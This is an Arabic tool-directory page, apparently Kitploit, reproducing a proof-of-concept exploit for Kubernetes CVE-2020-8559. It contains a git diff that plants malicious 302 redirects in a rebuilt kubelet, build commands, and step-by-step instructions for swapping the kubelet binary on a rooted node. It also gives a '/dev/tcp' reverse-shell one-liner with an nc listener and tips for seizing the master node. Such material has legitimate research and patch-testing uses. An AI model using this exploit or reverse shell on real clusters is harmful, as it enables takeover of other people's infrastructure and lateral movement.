Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-8559 — هذا هو استغلال PoC لثغرة CVE-2020-8559 في Kubernetes | Kitploit
أدوات/GitHubGitHub/tdwyer/cve-2020-8559
تصعيد الامتيازاتأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةما بعد الاستغلالاختبار الاختراقأمن السحابة
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

هذا هو استغلال PoC لثغرة CVE-2020-8559 في Kubernetes

عرض المستودع
5414منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استغلال Kubernetes CVE-2020-8559 - إثبات المفهوم (PoC)

هذا لأغراض العرض التوضيحي فقط. يُستخدم فقط على الأنظمة التي لديك الإذن بتنفيذ إجراءات إدارية عليها، ويُصرّح لك باستغلال CVE-2020-8559 عليها

هذا هو PoC لثغرة CVE-2020-8559. تسمح هذه الثغرة لمهاجم حصل على صلاحيات root على إحدى العُقد بتنفيذ أوامر على أي حاوية أخرى في الكتلة، مما يسمح للمهاجم بالسيطرة على العقدة الرئيسية لـ Kubernetes (Kubernetes Master Node).

تعود هذه الثغرة إلى حقيقة أن خادم API الخاص بـ Kubernetes وأمر kubectl يتبعان عمليات إعادة التوجيه HTTP (HTTP Redirects)، بالإضافة إلى حقيقة أن Kubernetes API يضع جميع مكونات طلب API في عنوان URL، أي اسم Node واسم Pod واسم Container وحتى الأمر. لذلك، إذا استجابت عملية Kubelet إلى /exec أو /attach أو /portforward أو أي إجراء resource: proxy بإعادة توجيه HTTP 302 مع ترويسة Location تطلب تنفيذ أمر مختلف على Node مختلفة في حاوية مختلفة، فإن خادم API الخاص بـ Kubernetes أو أمر kubectl سيقومان بكل بساطة بتقديم طلب جديد لأي شيء موجود في ترويسة Location.

مستودع Kubernetes مع كود PoC الخاص بي

يمكنك تنزيل نسختي المعدّلة من Kubernetes والتبديل إلى فرعي لبناء ملف kubelet الثنائي المستخدم في الاستغلال.
يعتمد هذا الفرع على وسم v1.15.9.

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

الإعداد

سيرسل هذا الـ PoC مجرد إعادة توجيه HTTP 302 مع ترويسة Location مكتوبة بشكل ثابت (hard coded)، لذا ستحتاج إلى تعديل kubernetes/pkg/kubelet/server/server.go وتحديث host وnamespace وpod وcontainer وcommand

نصيحة احترافية: اذكر جميع Pods في الكتلة. ثم قم بإعداد هذا لتنفيذ أوامر على Pod يعمل على العقدة الرئيسية لـ Kubernetes من أجل بدء قشرة عكسية إليك للسيطرة على الكتلة

البناء

بعد إعداد الهجوم، قم ببناء ملف kubelet ثنائي مزيّف

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

الهجوم

  1. احصل على صلاحيات root على إحدى العُقد
  2. انسخ ملف kubelet الثنائي المزيّف إلى العقدة
  3. أوقف عملية kubelet واستبدل الملف الثنائي بالملف المزيّف
    ابحث عن PID الخاص بعملية kubelet
    ps aux |grep kubelet
    اقتل عملية kubelet وانسخ الملف الثنائي المزيّف إلى مكانه
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. اقتل عملية kubelet مرة أخرى حتى يعاد تشغيلها مع الملف الثنائي المزيّف
    ابحث عن PID الخاص بعملية kubelet
    ps aux |grep kubelet
    اقتل عملية kubelet
    sudo kill $PID
  5. إذا تم إعداد الهجوم لاستهداف مسؤول يستخدم أمر kubectl على محطة عمله المحلية، فيجب أن يُرجع هذا الأمر اسم المضيف للحاوية الضحية بدلاً من الحاوية التي كان ينبغي تنفيذ الأمر عليها
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

يمكنك أيضًا بدء قشرة عكسية إليك من أي حاوية باستخدام

  1. شغّل netcat للاستماع على محطة عملك
    nc -lv 4444
  2. استخدم هذا الأمر بدلاً من ذلك، لكن ستحتاج إلى ترميزه. سأحدّث الطريقة الدقيقة بعد أن أكتشفها.
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

نجاح :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
تنزيل الأداة